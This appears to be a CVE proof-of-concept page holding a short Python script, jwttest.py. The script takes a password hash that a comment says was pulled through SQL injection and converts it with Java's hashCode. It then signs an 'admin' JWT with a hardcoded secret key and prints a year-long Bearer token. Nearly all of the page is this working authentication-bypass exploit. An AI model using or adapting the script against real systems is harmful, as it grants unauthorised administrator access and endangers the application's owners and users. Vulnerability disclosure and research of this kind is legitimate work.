4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / jwttest.py PY
import jwt
import time

# Java String.hashCode() 算法
def java_hashcode(s):
    h = 0
    for c in s:
        h = (31 * h + ord(c)) & 0xFFFFFFFF
        if h > 0x7FFFFFFF:
            h -= 0x100000000
    return h


password_hash = "$2a$10$/cZBXPjsTJnzBSy6p64DoebBEYY/IwTZvEhei18wsaywwDS8lUcIi"  # 从SQL注入获取
pwd_hash = java_hashcode(password_hash)

secret = "d@a$t%a^r&a*t"
payload = {
    "sub": "admin",
    "password": pwd_hash,
    "exp": int(time.time()) + 86400 * 365
}
print(payload)
token = jwt.encode(payload, secret, algorithm="HS256")
print(f"Bearer {token}")